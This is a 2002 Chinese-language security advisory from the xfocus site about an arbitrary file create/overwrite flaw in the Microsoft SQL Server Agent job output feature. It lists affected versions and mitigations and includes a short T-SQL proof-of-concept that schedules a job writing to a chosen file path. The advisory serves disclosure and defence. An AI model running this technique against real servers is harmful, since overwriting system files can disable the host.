xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞


发布时间:2002-08-21
更新时间:2002-08-21
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Microsoft Data Engine 1.0
   - Microsoft Access 2000
   - Microsoft Project Central Server
   - Microsoft Visual Studio 6.0
Microsoft Data Engine 2000
   + Microsoft SQL Server 2000
Microsoft SQL Server 7.0 SP4
   - Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP3
   - Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP2
   - Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP1
   - Microsoft SQL Server 7.0
Microsoft SQL Server 7.0
   - Microsoft BackOffice 4.5
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0 SP1
   - Microsoft Windows NT 4.0 SP2
   - Microsoft Windows NT 4.0 SP3
   - Microsoft Windows NT 4.0 SP4
   - Microsoft Windows NT 4.0 SP5
   - Microsoft Windows NT 4.0 SP6
   - Microsoft Windows NT 4.0 SP6a
Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows 2000 Workstation SP1
   - Microsoft Windows 2000 Workstation SP2
   - Microsoft Windows NT 4.0 SP5
   - Microsoft Windows NT 4.0 SP6
   - Microsoft Windows NT 4.0 SP6a
Microsoft SQL Server 2000
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows 2000 Workstation SP1
   - Microsoft Windows 2000 Workstation SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0 SP5
   - Microsoft Windows NT 4.0 SP6
   - Microsoft Windows NT 4.0 SP6a
详细描述
Microsoft SQL Server 2000使用一代理负责重新启动SQL SERVER服务,复制和运行定制的工作。

当增加一工作时,可指定文件名来输出Transact-SQL或者CmdExec JOB的结果,如果指定的文件已经存在就会被覆盖,而如果文件不存在就会建立新的文件。通过构造特殊的JOB查询可以生成指定内容的文件。

如果SQL Server Agent运行在SYSTEM权限下,攻击者可以覆盖重要的操作系统文件而使系统不能启动。

测试代码
-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

解决方案
防止低用户提交作业,需要限制用户访问JOB相关的存储过程:

sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job

确保SQL Server Agent运行在低权限下。

相关信息
"David Litchfield" <david@ngssoftware.com>.
参考:http://online.securityfocus.com/archive/1/288010
http://online.securityfocus.com/archive/1/287700